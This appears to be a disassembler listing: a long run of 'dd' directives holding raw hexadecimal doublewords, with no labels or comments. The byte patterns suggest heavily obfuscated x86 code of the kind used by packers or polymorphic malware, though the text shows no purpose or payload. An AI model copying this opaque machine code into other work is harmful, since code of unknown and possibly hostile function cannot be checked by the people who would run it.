		dd 0FE9h, 0EF721B00h, 999B498h,	9CB39FACh, 74BC1273h, 0B9DE52BBh
		dd 5BC28019h, 0D1F38166h, 0E9F86014h, 12h, 0DB960D29h
		dd 0A79A334h, 3C799DBDh, 7FC5035Ah, 0F61DCAEh, 1289h, 0C890F00h
		dd 0E9000000h, 7, 65AD161h, 0B0A161E2h,	0EFBE6602h, 0FEC0801Ah
		dd 13E9h, 3AEC9D00h, 3B6CB6C0h,	0D3491FD9h, 0A4EEDEB2h
		dd 0E6C86F19h, 0BCB3C78Bh, 0EED98166h, 0BE665344h, 0E85BD996h
		dd 10h,	98945D4Eh, 4F17E463h, 93B34475h, 7BF53D24h, 665259FCh
		dd 0E599E781h, 0C7BF0F58h, 55D5BF66h, 12E8h, 0C1B9D000h
		dd 71F070EBh, 3C9D7EDDh, 3E6C0B1Eh, 0F8E7C8A6h,	5E85Ah
		dd 94810000h, 6664116Ch, 2F68E681h, 850F5Ah, 81000000h
		dd 52EAAE8h, 860F536Ah,	0
		dd 0F0816658h, 0F780F288h, 0E9576027h, 9, 0AF0F1904h, 2CD1FBC6h
		dd 0E5805F34h, 6E961EEh, 60000000h, 0C3F688E0h,	28B0F0Fh
		dd 8B000000h, 41DA81C3h, 8053900Fh, 850F46DAh, 11h, 0CE9h
		dd 1731A200h, 0D7327812h, 6DE9F353h, 5E9FBh, 0E9C0000h
		dd 0F9BCA81h, 118Bh, 0CE900h, 61D50000h, 0F5540192h, 7D3EE50Ch
		dd 13E80B30h, 5000000h,	7E75A972h, 987818E5h, 0D3E49FC7h
		dd 57077DFFh, 890F0280h, 1, 7E85BF5h, 6000000h,	0CD0E30BAh
		dd 0E380B7FFh, 0D88A5994h, 168F0Fh, 0E8530000h,	0Eh, 0F6409CB2h
		dd 0DE6040Bh, 0BE61499Dh, 58593990h, 5E957h, 42BB0000h
		dd 58811C02h, 0BEFB8B66h, 545841F2h, 0B53CE880h, 6060600Ah
		dd 850F61h, 61000000h, 61D88B66h, 0FF8D88Bh, 0C86h, 840F6000h
		dd 0
		dd 0EA7BE66h, 0BE961h, 0F49C0000h, 0E2348C24h, 61414EB7h
		dd 5820FC6h, 0B8000000h, 4160F88Fh, 692CF281h, 0B70F332Fh
		dd 0D3B70FD7h, 0FC68B66h, 148Fh, 0FE900h, 780B0000h, 9ABF6215h
		dd 3CFEBCBCh, 3C6C7171h, 0D9A1BF5Fh, 66F52433h,	0F859E881h
		dd 0CE8h, 0C26B2100h, 0A1DDB2A0h, 0E6758173h, 0E958F89Ch
		dd 14h,	0DF3CEC9Fh, 0E2FD9E38h,	0F6031D66h, 0AF9FB8E4h
		dd 61D95596h, 0E803D580h, 11h, 0DD7B0844h, 405F3270h, 7753DBD3h
		dd 467290D1h, 0C2B70F51h, 38A0F5Ah, 66000000h, 870FD18Bh
		dd 8, 28B0Fh, 0D78B0000h, 2850Fh, 0EF8A0000h, 0E9FB8B66h
		dd 13h,	0A9BD3E25h, 275166AEh, 5484BF0Ch, 0F7D37CEh, 0F3C4143h
		dd 5E9D2BFh, 0BE000000h, 672782C1h, 860Fh, 8B560000h, 0B9665BDEh
		dd 8A0FC39Eh, 3, 60A5CE80h, 0E8FA8B66h,	9, 4378F7Ah, 69A05F52h
		dd 0BE972h, 37510000h, 0E5533126h, 0E24B7DDBh, 8B615874h
		dd 0CB8B66D8h, 9E9h, 5C45F000h,	994CD03Ah, 8166F6F1h, 0FDA25F0h
		dd 0B70FD8BFh, 0F5CB7FBh, 870FD0BFh, 4,	0F722BE66h, 0D848F081h
		dd 0B70F4263h, 605956FEh, 6CE8E6BAh, 0D08B6067h, 7CE7C881h
		dd 616135D9h, 0D2CE8166h, 0AE9569Ch, 0ED000000h, 0A17723C0h
		dd 829D9C85h, 8A0F5E6Bh, 4, 5AFB8B50h, 3860Fh, 0BF0F0000h
		dd 7FA4B8F0h, 0B70F0987h, 0EE9DAh, 73F40000h, 0F5E469EAh
		dd 164FE21Ch, 0E874F1E7h, 10E8h, 4B38700h, 6EC867CEh, 38179B8h
		dd 4D33B47Ah, 74E580A1h, 58B0F5Ah, 66000000h, 37EEDF81h
		dd 68E28166h, 13E9C6h, 924F0000h, 6629F4CFh, 2229982Ah
		dd 9C7E224h, 83D80CB2h,	0BF0FFC30h, 0D18166CFh,	830FAE01h
		dd 9, 3890Fh, 0BF0F0000h, 6090B6D8h, 6830Fh, 8E0F0000h
		dd 0
		dd 44C78166h, 66526168h, 0DEDAEB81h, 58A0F58h, 0B9000000h
		dd 61B779C8h, 7E8h, 0EA9C7C00h,	0BBE0E91Ch, 0F18B6659h
		dd 0D281D88Bh, 7369965Fh, 8B15EB80h, 0DE8166C8h, 0F08B1179h
		dd 0BBE88166h, 0B866565Fh, 0E9582C93h, 14h, 0FC920A2Ch
		dd 0E22BF8DFh, 8DC0B794h, 7544B778h, 57347FABh,	78F08166h
		dd 8B665253h, 12E959F9h, 8C000000h, 7D76C8DFh, 0B1CAC38h
		dd 0CFAE309Ah, 9AA37FB0h, 38B0F18h, 66000000h, 6651F18Bh
		dd 5A7FC3BFh, 58B0Fh, 10BE0000h, 667B0035h, 0BE24EABFh
		dd 112DC215h, 0FE9h, 0BA58C600h, 0E171D12h, 0B8A28C0Ah
		dd 9553A13Dh, 0AE8DF8Bh, 20000000h, 0DEC2F1CDh,	0C71EA03Eh
		dd 58B4B7F5h, 0B866C28Bh, 0DF804403h, 0E580600Eh, 0FC61F8F5h
		dd 0FE8h, 42E0DA00h, 0ABFC9EE9h, 0DE83084h, 9DE983DFh
		dd 0FE9h, 0E9615A00h, 2A7C5033h, 77C816B6h, 0FC51EDACh
		dd 0D681665Bh, 79B6F6C4h, 20C08166h, 0AE821h, 56E70000h
		dd 0FDB68376h, 893E590Ah, 8A0F60h, 61000000h, 13E9F95Ah
		dd 57000000h, 81B1E5A1h, 3BDE090Bh, 0F65FF8B3h,	1F813DD8h
		dd 0FE806E1h, 0E8000000h, 7A19E9D7h, 4E4659C2h,	0D8878A62h
		dd 0DE81A174h, 2937F886h, 3820F5Eh, 0F000000h, 14E9CAB7h
		dd 18000000h, 7F278A02h, 34632850h, 6D1CCE2Bh, 0A5E459D0h
		dd 66A16BFEh, 8B66D38Bh, 40C280F9h, 5650CA8Bh, 8D14DE81h
		dd 5F59576Eh, 8166F78Bh, 0F81BED6h, 1A83h, 0FE800h, 69B30000h
		dd 36156413h, 0DCE4A58h, 0DCE5FA75h, 0C9816604h, 0BA5E5721h
		dd 115727E1h, 5E960h, 0AC0F0000h, 619DC425h, 6CA776BEh
		dd 0B8666025h, 810FCB94h, 6, 8A0Fh, 60610000h, 0B89F49BAh
		dd 0A9BDBB6Fh, 8A61726Bh, 57C38BD8h, 0BFC18166h, 60505E01h
		dd 0BE9h, 0D3119500h, 0C71A391Ah, 0A11173B1h, 815E61F5h
		dd 2E9904E8h, 81CA8170h, 0E942777Bh, 0Bh, 3D8F60A6h, 214DB3FEh
		dd 81676EF1h, 0BDEEB7C6h, 0A890F75h, 0E9000000h, 5, 276EB1C8h
		dd 8E903h, 0A0C70000h, 0A3565A01h, 810FF7E3h, 0
		dd 0DF3CB866h, 79BAB966h, 10E9h, 48FBEF00h, 75345513h
		dd 0B64C171Bh, 5B31BE10h, 0CA8B6678h, 0A5F08166h, 66D68BD5h
		dd 0FFB75BFh, 0C89h, 7E900h, 1F990000h,	0EC01FA09h, 7E8BEh
		dd 34A70000h, 6BC44B9Fh, 0AE880E7h, 8B666059h, 0D28166DAh
		dd 6661403Ah, 81C04EBFh, 7F5954F2h, 49BA5674h, 5A364A15h
		dd 1C8D0Fh, 13E80000h, 41000000h, 42419191h, 0F78E9C40h
		dd 0FAA31F73h, 0F8712503h, 8B66ACFDh, 0DE85FFBh, 25000000h
		dd 10EE7208h, 0A2048746h, 9482BC40h, 61595060h,	1A820F5Bh
		dd 60000000h, 0FE8h, 14E99800h,	561A6EFAh, 0F5E74A63h
		dd 367CDC3Dh, 0F08B6659h, 8DF48061h, 0BE8h, 551DD800h
		dd 9BE2309Eh, 0E8A65E18h, 0E6816058h, 1154DB02h, 0A6C98166h
		dd 0EE861F3h, 5D000000h, 12096745h, 268DCECAh, 0FBAD062Fh
		dd 0CA8158F6h, 3F8B0992h, 0BE8h, 89DAFD00h, 0FC4E98B9h
		dd 2362517Bh, 0AE14C981h, 575A2287h, 28B0Fh, 0DA8B0000h
		dd 0BF0F605Ah, 616051C7h, 61606159h, 88A0Fh, 830F0000h
		dd 2, 0E8FCA9B2h, 6, 0CB0E8670h, 0BA50CB2Ah, 1EBEEBAFh
		dd 8FB75B5Eh, 14E9h, 824B5D00h,	89558659h, 77CB5102h, 9182D3D9h
		dd 0D55C2EECh, 0F18B6628h, 13E8h, 0D9627700h, 8E095B10h
		dd 770E3A3Ah, 0A13EC1A2h, 604A628Eh, 7FECB866h,	0FCB8B5Fh
		dd 8Eh,	11E900h, 0B7D30000h, 0D76A8EB9h, 0EA7C90FBh, 53B3847Ch
		dd 0B876B90Fh, 1DD727E4h, 48E0F60h, 66000000h, 0FC69ABAh
		dd 0E961FEB7h, 0Ah, 0AFA72330h,	0CE29CCAEh, 11E96472h
		dd 0D5000000h, 6552BA98h, 0B89AC33h, 1A4C3B91h,	534EF91Ch
		dd 53AFB5BFh, 0E1E8BE74h, 0CB81285Ah, 25139DE0h, 82BB6660h
		dd 61F28BAEh, 8E99EB0h,	37000000h, 0B20B1408h, 8B340A06h
		dd 7CD281FBh, 0E96F9E30h, 7, 0E55827EDh, 81A84972h, 0FBD04AF0h
		dd 0FC38B63h, 1D8Bh, 14E800h, 0A6AA0000h, 2228593Ch, 0CF10AD2Dh
		dd 9382B582h, 77FC6A65h, 0BF0F43D0h, 81665BFAh,	0BB0046D0h
		dd 1A5EE753h, 2A85A0B8h, 0B70F5034h, 9E95ACBh, 0C4000000h
		dd 0C8547E02h, 0C0371B55h, 1ECA8166h, 13E969h, 2B090000h
		dd 596F100Dh, 19205129h, 0ECD9D6B3h, 5007F0B6h,	0E8605600h
		dd 0Dh,	633784C0h, 91079735h, 5AB9ABFFh, 0A3B85FDEh, 615CEDAAh
		dd 0D3BF0F59h, 0DEB70F51h, 11E9575Fh, 8000000h,	110C4133h
		dd 293684h, 0ECF534D5h,	34A9752h, 6E859h, 0D9F90000h, 0AA246ABDh
		dd 58CB8B66h, 0E830Fh, 0F600000h, 84h, 21C68100h, 616E3712h
		dd 188B0Fh, 12E80000h, 9F000000h, 0AEC1328Ah, 0D25BA30Eh
		dd 0A6B58ECAh, 64CDE575h, 0EBB9591Fh, 0E96B33D8h, 0Eh
		dd 7711F1FAh, 0FE9983CFh, 0F07563F7h, 0F78BB94Ch, 0F098E881h
		dd 0C9802281h, 0A3CF812Dh, 0F6AD273h, 28Fh, 665F5300h
		dd 0DE8F78Bh, 94000000h, 6CD88F55h, 182F78D5h, 513ABFC2h
		dd 5860Fh, 81660000h, 5E0FD6D0h, 10E9F5h, 0EC170000h, 3D9C2574h
		dd 2F41543Dh, 481A606Bh, 0D78B8518h, 0DE851h, 0BACF0000h
		dd 21162BFh, 9646F189h,	8B8995AEh, 0E95E5ADEh, 14h, 52800720h
		dd 0D5784BC3h, 7F1994DCh, 0FE9B3852h, 72D65A81h, 96F0BB56h
		dd 665B1309h, 6622E0BFh, 0B58FCF81h, 0AE8h, 0CC538200h
		dd 4B967DDCh, 5B82C94Dh, 56C6BF0Fh, 0C6BF0F60h,	12E8h
		dd 9F5D9B00h, 7948B13Ah, 2E7DE471h, 5BBB87C3h, 59C0868Ah
		dd 840F5861h, 2, 8B0FE28Ah, 0Bh, 58B0Fh, 0CFBB0000h, 0E86A9E53h
		dd 0Dh,	0EFAB463h, 0C5163D37h, 0E257A954h, 68B0F08h, 0F000000h
		dd 8Dh,	0B70F5900h, 0BB6656C1h,	815978F2h, 1AC6FCE2h, 88F0F44h
		dd 51000000h, 6874C781h, 66583893h, 7AB0C18Bh, 0BE8h, 0F691CC00h
		dd 36DBC82Ah, 875606D6h, 0FEB70F57h, 0E881595Fh, 628ED4D2h
		dd 5E95E0BEh, 7E97Fh, 1EC10000h, 966262B6h, 87C58022h
		dd 98D0Fh, 66600000h, 0BA66F18Bh, 66611175h, 0E860CB8Bh
		dd 8, 9C8E53C4h, 4B7EE35Ch, 90D1815Eh, 6110577Ch, 51B866F9h
		dd 382CBB6Eh, 10E93D31h, 87000000h, 48463BE3h, 5CF7D174h
		dd 4B38A20Ch, 8B9271DFh, 0B70F56F2h, 0B4BB58D1h, 0E96709DAh
		dd 0Bh,	0D232B532h, 914BFA1Bh, 0F009AFBh, 148Fh, 0EE800h
		dd 73A00000h, 0D68B99D6h, 82FB5941h, 96BA1429h,	63BE665Bh
		dd 0DABF0F6Ch, 0FE9h, 6EA6E00h,	0AD10DBF2h, 0F6D7BFD5h
		dd 6B231420h, 0A8B8DA8Bh, 0E876B563h, 0Fh, 524181C7h, 0B68BB95Ah
		dd 0A2A10AD5h, 0BB2E8F7Bh, 5B4526C2h, 8B666058h, 0BF0F60F9h
		dd 3ED081F8h, 61310F3Bh, 2860F61h, 8A000000h, 7870FDCh
		dd 60000000h, 8BF98B66h, 62B861D7h, 661FA6D9h, 2C84E881h
		dd 81DAB70Fh, 7521A1CEh, 6E9F505h, 0D8000000h, 7FDE250Eh
		dd 0FB8B6681h, 0CE9h, 0A8B53000h, 63B6B160h, 22FBB9EAh
		dd 0FD78B8Eh, 12B7F6BFh, 0EE9h,	68BA8E00h, 26DEFAE4h, 2E9D50BAh
		dd 66F68523h, 7E9D18Bh,	0AB000000h, 3E0B60C2h, 8D0FB54Bh
		dd 6, 0B12FC681h, 0F1813D47h, 748D6CE3h, 0BFE38166h, 0CF45BF1Ah
		dd 81667C7Eh, 66A167F6h, 0F86DDA81h, 66F28B66h,	810FDA8Bh
		dd 2, 0E9575953h, 0Fh, 210767A3h, 377C6BABh, 381B886Bh
		dd 58A4FA2Ah, 0FE9h, 9EF21B00h,	58C49AB7h, 0D3088C58h
		dd 0F6DFDAC3h, 0FC4AC180h, 13E960h, 0AB8A0000h,	493D509Ah
		dd 8E319BC1h, 19B22472h, 324D2ABDh, 0FBBF0F5Ah,	0CDDF8061h
		dd 94EE8050h, 38E28158h, 0F4623FCh, 2E88h, 13E800h, 3D700000h
		dd 5D372EA9h, 0F87DB603h, 2E9A4179h, 36CBAA62h,	10E9C6h
		dd 347F0000h, 0A9B64757h, 1B38D2D1h, 0FAD22B88h, 0E8591CBCh
		dd 5, 3183679Fh, 8B665EE6h, 7E9D0h, 0BB40000h, 5C10C412h
		dd 0F7B70F17h, 94CEE1BEh, 0FF28B12h, 387h, 0DBB70F00h
		dd 2CE980F5h, 0EE20FEBFh, 38C0F14h, 80000000h, 0B70FF4E5h
		dd 4AEA80D6h, 6E851h, 0A9870000h, 0C5D82E70h, 830Fh, 5A580000h
		dd 0DE8h, 0B06DFC00h, 270F81CDh, 417F9EAAh, 85BABBA0h
		dd 5A37C501h, 26A4BF66h, 0DE8B6660h, 0F61C38Bh,	781h, 0C7B95600h
		dd 5B193AACh, 14E9h, 0BE4C9F00h, 39203155h, 2E337FC0h
		dd 4A969A59h, 0F70FD15Ch, 66D18ABAh, 668846BBh,	9BB1DF81h
		dd 5BDE8A50h, 996FE281h, 0E2812F3Ah, 6BF79EC0h,	4820Fh
		dd 0BF660000h, 5BB3F2CCh, 10E9h, 0B7910F00h, 0A5158DB7h
		dd 2462D885h, 0F0421122h, 5E833h, 50640000h, 597EBE87h
		dd 0B8FB8B66h, 1CB3F4F5h, 0E8FBB70Fh, 6, 5D8D8F30h, 8C0F0C51h
		dd 5, 3BD78166h, 0AE95F92h, 0B6000000h,	94A7020Fh, 1EB1D83Ah
		dd 8A0F60E6h, 2, 8B0F6160h, 0
		dd 68E0F61h, 81000000h,	96FE6ACBh, 0EE907h, 9E750000h
		dd 0A06E20D0h, 475C206Eh, 5F7D87E5h, 7BF78166h,	10E944h
		dd 7C3C0000h, 0AD605496h, 84E62DA5h, 6DFF430Dh,	8B66AF81h
		dd 0D68166D0h, 0BF0FE429h, 816660CEh, 0F23A6EFh, 0E961C8BFh
		dd 0Ch,	9D586F69h, 0FEA92DA6h, 8E298C87h, 0BFC08166h, 0FE8B6673h
		dd 8BCB8B66h, 0D88B66FEh, 0FDEBF0Fh, 0C881C3BFh, 3A3331F2h
		dd 8A0Fh, 13E80000h, 9C000000h,	1259767Ch, 0DFE6B63Ah
		dd 378D19A2h, 7A2EA2F2h, 8B0F5F31h, 2, 0F5FD9B7h, 0B80h
		dd 5880F00h, 0BB000000h, 6D28A28h, 13E8h, 12A3F700h, 8B6A4A8Ch
		dd 0F6C4A889h, 0E8465B27h, 0C5FEF7B3h, 0B05FDA8Bh, 9E990h
		dd 25650000h, 5175CA23h, 0FBAC554h, 584h, 0DC09B800h, 0B9664A5Bh
		dd 0F51AB1Ch, 0D87h, 7E800h, 0B4CF0000h, 3D2B9936h, 0F5B5AE2h
		dd 384h, 0F88B6600h, 8BCEDC80h,	5A23BED1h, 0F602D7Bh, 8Ch
		dd 81666100h, 0FCAB9E6h, 9B8FFB7h, 0F81CDE7Eh, 13870Fh
		dd 0EE90000h, 5B000000h, 0B98F1C90h, 29682F6h, 6D482528h
		dd 0EE8166E4h, 43BA3056h, 817BBA03h, 43391BF0h,	0C7816623h
		dd 0B966D249h, 0BE84E43h, 0FD000000h, 893E590Ah, 0AB729F25h
		dd 0FB8B14E2h, 8D0F59h,	0F5000000h, 5BE28166h, 0CE9F819h
		dd 0B6000000h, 0F170D259h, 23D0170Fh, 52E65B87h, 588FE281h
		dd 515E4731h, 59C8B70Fh, 3800Fh, 8B660000h, 0FE9C6h, 81080000h
		dd 4514823Ch, 0D9682588h, 314258BEh, 0FE6B837h,	0B9F831FBh
		dd 0F10D83Dh, 0B0DAB70Fh, 0E9FCFC83h, 0Ah, 508F5D0Bh, 0B7959458h
		dd 81BB67DBh, 0E963FC53h, 0Bh, 7DD0B112h, 0CE43E6E2h, 8BEDE664h
		dd 0C6BF0FCEh, 0F914BE66h, 0BFD78166h, 0E903B205h, 8, 78B14A3Dh
		dd 52189F4Bh, 0BBF7BF0Fh, 0CDCFD23h, 996D50B9h,	0CE84Dh
		dd 55D60000h, 0F7C98899h, 0FAC23544h, 0F56600Ch, 87h, 515A5900h
		dd 5E9h, 27445900h, 0E8592C89h,	6, 5D859856h, 820FAF59h
		dd 5, 0D679A6B8h, 81F85910h, 0F46C14E0h, 0A0BE666Eh, 8B665077h
		dd 9FB05FC6h, 14E9h, 35290500h,	54B1EE95h, 0E261C565h
		dd 66C8EF22h, 2651B75Bh, 0E8C38B7Bh, 12h, 4CF82A46h, 0E82B4E01h
		dd 0AC69E27Eh, 0BEC1CFFh, 5BFCBF4Ah, 0E8F28B66h, 6, 0EFB47661h
		dd 0B70FBE6Ah, 820F59C9h, 2, 0BF0F51B3h, 6651F8D8h, 7640C181h
		dd 28E0F58h, 0B4000000h, 6A8FB997h, 0CE8B4B7Fh,	24EF8166h
		dd 80CB8076h, 0FE9C78Bh, 92000000h, 8435BEACh, 0C916E98Ah
		dd 0B06BDF25h, 8E0F801Bh, 0Bh, 6E9h, 0D1F7AC00h, 60288310h
		dd 0FB1588B9h, 61D98A4Eh, 5890Fh, 81660000h, 0FFE04E6h
		dd 287h, 8BF88B00h, 0FE8CBh, 109D0000h,	9F95ACDFh, 0E5FC40E2h
		dd 68AA81EEh, 28E0FF4h,	53000000h, 0D0805F58h, 84DBB8E1h
		dd 0F48A726Eh, 9B0CBE66h, 13E960h, 33220000h, 0FEF11163h
		dd 7A9D441Fh, 0BE28E58Eh, 769E2399h, 850F617Bh,	5, 37E982BEh
		dd 8E920h, 21630000h, 93CE38AFh, 81667391h, 60663BC0h
		dd 2840Fh, 0FD8A0000h, 61DF8B66h, 9E8h,	0A3E72800h, 2E528C2h
		dd 80594415h, 8B66BAD3h, 0D08B66FBh, 0F9CE8B66h, 66C88B66h
		dd 0F511D781h, 64E47ABFh, 0A890F3Eh, 0E9000000h, 5, 270F81CDh
		dd 70C580AAh, 0D880F56h, 0E9000000h, 8,	0AFFF75E0h, 6D4DA76h
		dd 5E95Fh, 52690000h, 0F264FF2h, 587h, 0DE816600h, 0B86640A2h
		dd 79BA8138h, 0E9314835h, 0Ah, 0F089C358h, 50E2CF70h, 66FC5B95h
		dd 8166D38Bh, 0F23BDDFh, 58Ch, 0AFFFBF00h, 81664099h, 6601DCC1h
		dd 0DF80FE8Bh, 0FE92Ah,	0D3600000h, 4171ACFBh, 8320DBA2h
		dd 0BAE34B8h, 0DAC4805Ch, 0B8F0Fh, 820F0000h, 5, 0F9DB8166h
		dd 0F2BEF893h, 0E83D852Bh, 14h,	0CAC087Fh, 59CEDE92h, 7711F1FAh
		dd 0FE9983CFh, 0F07563F7h, 0E0816659h, 8A0F1CDCh, 8, 28C0Fh
		dd 61600000h, 0AEEA8166h, 9E9EAh, 3A880000h, 0DF5D5B74h
		dd 0F4FD093h, 0BB53C8BFh, 7D14D2A8h, 0F08B665Ah, 774EE9B8h
		dd 0B4D88024h, 0BE4FDF81h, 0E8606702h, 8, 0DD3B2E6h, 723A1628h
		dd 840Fh, 0BB5F0000h, 67F1BB85h, 13E961h, 0C45D0000h, 15A1A795h
		dd 24BA5261h, 130A2F7Ah, 8FF8031Fh, 3810FC5h, 80000000h
		dd 66602AE5h, 0E861CE8Bh, 0Ch, 792E935Dh, 0C2BAA86Fh, 0FCEB6D19h
		dd 2880Fh, 0EF8A0000h, 1C840F5Bh, 0F000000h, 1681h, 11E900h
		dd 0EFD10000h, 0FFF5D981h, 57D6B92Fh, 3B1CFC89h, 0F5D5329h
		dd 50FCD7BFh, 5E9h, 0D48C4400h,	665F8220h, 669FE281h, 0FE9h
		dd 643E3A00h, 2482AC96h, 3FFF8542h, 3D80D803h, 148A0F53h
		dd 0E9000000h, 0Fh, 56502D57h, 0CEE46CD9h, 0B67C5C87h
		dd 58958040h, 0CE960h, 1A710000h, 0A38FA60Fh, 0CAEB332Ah
		dd 8D0F852Dh, 6, 8B0Fh,	0F610000h, 8B66F9B7h, 178A0FC6h
		dd 0E8000000h, 0Fh, 0D33E63AAh,	0C4E4F2B9h, 0B66D5272h
		dd 8A0DF537h, 0FFC5FF8h, 288h, 81D88B00h, 0EDF046D9h, 0BAB8661Ch
		dd 0C2B70F2Bh, 14E960h,	36BE0000h, 0C819B733h, 0C8E0A0E0h
		dd 0E175DA91h, 5652C57Ch, 0D18AB96Bh, 0EE861h, 0EFCB0000h
		dd 0C0CC179Bh, 51780708h, 70D90241h, 60F558F8h,	14E957h
		dd 5AA80000h, 0FE33CF27h, 365842E9h, 3D0438A5h,	26CE9515h
		dd 0F5E8EEAh, 0F61D8B7h, 588h, 0C2D0BF00h, 8E92928h, 95000000h
		dd 956881BCh, 817D3A23h, 85C3C1F7h, 7E841h, 0EBCD0000h
		dd 35834B9Ch, 0FE8B6637h, 12E85Bh, 268E0000h, 94C1D82Ah
		dd 0CF6E292Ch, 0EC24D470h, 207E3653h, 0F5B36B5h, 1889h
		dd 13E900h, 0D4340000h,	782CD5C8h, 35B62B3Ch, 3D16A50Ch
		dd 3F65967Fh, 0C78166E9h, 8166588Dh, 0F84AED2h,	8166F8B7h
		dd 8B2140C7h, 6E960D7h,	0D8000000h, 5C1DC9BEh, 0EE992h
		dd 0AFF50000h, 9A2D518Ch, 0CCBF0402h, 1B6D09E8h, 0F3816661h
		dd 0BE668C0Fh, 0EE98F84h, 36000000h, 3E7D74C4h,	0F5FB1A45h
		dd 10174FE9h, 0E18053E9h, 66F95893h, 0B67700B9h, 0C3F4BEBCh
		dd 0CC8A36C2h, 0EE9h, 0E5D74400h, 19B88E57h, 85671DBh
		dd 8082984Dh, 11E9AFD5h, 0A2000000h, 0D71EB048h, 0CD83E3CFh
		dd 87022FA2h, 90B1D280h, 5D28166h, 0D9B70F58h, 659BBA66h
		dd 11E9h, 775DC300h, 5BA6A32Bh,	0FC4A36F7h, 25DF5F57h
		dd 0BF0F0D15h, 0F950F5C0h, 0C1B70F5Eh, 6E9h, 1F2FB500h
		dd 6682ED4Fh, 804E6ABAh, 6E84FC0h, 5000000h, 0E538EC5Bh
		dd 815FF912h, 0D5A36DE0h, 18A0F6Bh, 0F5000000h,	3810Fh
		dd 0DD800000h, 0B9666085h, 666132ABh, 0C8CCF681h, 0E0C08166h
		dd 0F2BF0F58h, 0BB66D98Bh, 0FD8A5E96h, 2C4188BEh, 4B52B974h
		dd 8B664303h, 6E9CAh, 485B0000h, 9829FE73h, 0A8D0Fh, 8B0F0000h
		dd 4, 254EB866h, 81F38B66h, 8AE66BD7h, 0EABB665Fh, 0E7816692h
		dd 810FBC57h, 9, 38B0Fh, 8B660000h, 1ACA81D7h, 0B87401BCh
		dd 31D252B5h, 13E9h, 90811400h,	1E202082h, 4D0F8747h, 7C31D9C5h
		dd 9C010A35h, 58B0Fh
		dd 81660000h, 0B8DEFFDAh, 0B0F382Fh, 0B65AF853h, 79E88139h
		dd 507FA510h, 98A7BE66h, 0CB8B6059h, 61D78B66h,	0EE27B966h
		dd 0ECBAF681h, 8C0F5359h, 15h, 0F8C0Fh,	0AE90000h, 16000000h
		dd 569831BDh, 0F2F7B751h, 0CE962h, 63D90000h, 0AE1C6177h
		dd 11DBF903h, 0CE8D0B9h, 42000000h, 0DDFAFD66h,	30F22DF9h
		dd 0E9249CB6h, 9, 17DA4B75h, 0E900EDF5h, 0BF0F5EACh, 0AABB66C6h
		dd 5E95234h, 2D000000h,	775196D3h, 41D7805Ah, 77DB8166h
		dd 0C0B70F10h, 2AD08060h, 491EC181h, 0F617251h,	0F8BFF6BFh
		dd 0F5DE4FCh, 38Dh, 4FC38000h, 0CE9h, 70779C00h, 0FE50452Ch
		dd 923F0868h, 1D890FDFh, 0E8000000h, 11h, 87E6AE29h, 927A4964h
		dd 0CC05380Ch, 0F2183FCEh, 880F0Dh, 5B000000h, 0AE9h, 94B09E00h
		dd 0C0A2848Dh, 0F03138Eh, 0C82h, 68C0F00h, 0F000000h, 8Bh
		dd 0FFE8B00h, 584h, 0BF0F5600h,	5E95ECFh, 0D4000000h, 3653EC24h
		dd 5E860h, 11F00000h, 668A4060h, 34A6E781h, 0BE666159h
		dd 0AE8314Eh, 1E000000h, 8F2BC3F2h, 7613135Eh, 58B0FA6h
		dd 0BB000000h, 59A5A349h, 0E8CCB759h, 10h, 546E8CF6h, 1CEEC6F8h
		dd 92DA1C8Dh, 8435BEACh, 0CE9h,	871D8200h, 0AAFD1665h
		dd 9AC863DCh, 0B8665E5Fh, 8B0F5EA7h, 19h, 14E9h, 0B286DC00h
		dd 38C9F333h, 828F9FD8h, 272C6AF5h, 0E8B7AC61h,	0FC30BB4Ah
		dd 0F857072Eh, 0FCF7815Bh, 8015E414h, 0BA66DDC8h, 0CF815830h
		dd 1476F7A1h, 0FE8h, 0A2E12300h, 0C7EF673Bh, 0EE70E98Ch
		dd 5FD8F8A6h, 5FC3BF0Fh, 0EE8h,	0DCFD6800h, 1B7C2F3Ch
		dd 8CB136FCh, 0E953A533h, 14h, 5AC6DC9Fh, 0B6AB06D5h, 0E8F95EB5h
		dd 0CAD46E0Ch, 0CD974BF0h, 0D1BF0F5Fh, 0F960FABFh, 0F7DC8038h
		dd 6060CA8Bh, 0CE9h, 0EF7F0C00h, 84F0BD4Fh, 9AF3EE67h
		dd 16B86688h, 8166610Bh, 61C27EE3h, 0AE9h, 0E9AEE200h
		dd 781020D2h, 0E9974620h, 12h, 0D050B724h, 879AE082h, 0D60C3028h
		dd 0E3AEBC0Ch, 0DE9BFD0h, 0F000000h, 0AFFC8294h, 9CA8316Dh
		dd 5DA64D56h, 0DE860h, 16210000h, 374D21D1h, 11F76C32h
		dd 8AA7DEDDh, 840F5EECh, 2, 0F861F0B0h,	0AE9h, 9DA01300h
		dd 790434BEh, 8B029FF5h, 46D380F7h, 8E8h, 0C9B7E300h, 69EA73F4h
		dd 0E85AF9E4h, 8, 94A4BB92h, 4955C601h,	0E8FA8B5Bh, 0Dh
		dd 5596AF9Fh, 0BF2E61D9h, 0CA07AA76h, 8E8A1h, 3D6D0000h
		dd 0E824A004h, 13E8A571h, 1F000000h, 0A39A3484h, 0C2D7DB87h
		dd 4AB7CED4h, 0C209B7A3h, 5B599A06h, 0C88B665Eh, 0CE8h
		dd 0CA0ED700h, 5A13D7F2h, 795A9210h, 20EF81F3h,	5841230Eh
		dd 0EE9h, 0CD5E6100h, 16C959CFh, 2FA86AE9h, 0F931748h
		dd 684h, 0A1E88100h, 8B1E0136h,	8146B5FBh, 88ACECF6h, 2EB802Dh
		dd 57D18B66h, 2930ADB8h, 9CBF5F1Bh, 0B827F046h,	5BCA3194h
		dd 0EE8h, 0F41DB100h, 5B7B5E67h, 99A0EF4Ah, 66C25CEDh
		dd 59FF69BFh, 481CBA66h, 4850Fh, 8A530000h, 0EB8059D8h
		dd 66C18B3Ch, 53C78ABEh, 0B4DE8166h, 0F565A71h,	138Dh
		dd 0EE900h, 26F10000h, 8FE2DC9Bh, 6C3446AFh, 4C006AB1h
		dd 0FFB70F5Ah, 0FDF8BF8h, 589h,	0F2816600h, 7E98554h, 67000000h
		dd 39F7A4ECh, 0AE9DD9Dh, 0A1000000h, 0FE73485Bh, 74DE9829h
		dd 60F08B9Fh, 13E8FCB4h, 66000000h, 3D4B26A1h, 0B39A6442h
		dd 0F7A934A9h, 7CB6D0A4h, 8A0F2F50h, 0
		dd 0D081615Fh, 36F6B47Dh, 61605350h, 0DB805A5Eh, 3AB966CAh
		dd 0A4DC802Dh, 0E860F38Bh, 5, 94CA40A0h, 815FF99Fh, 454403E8h
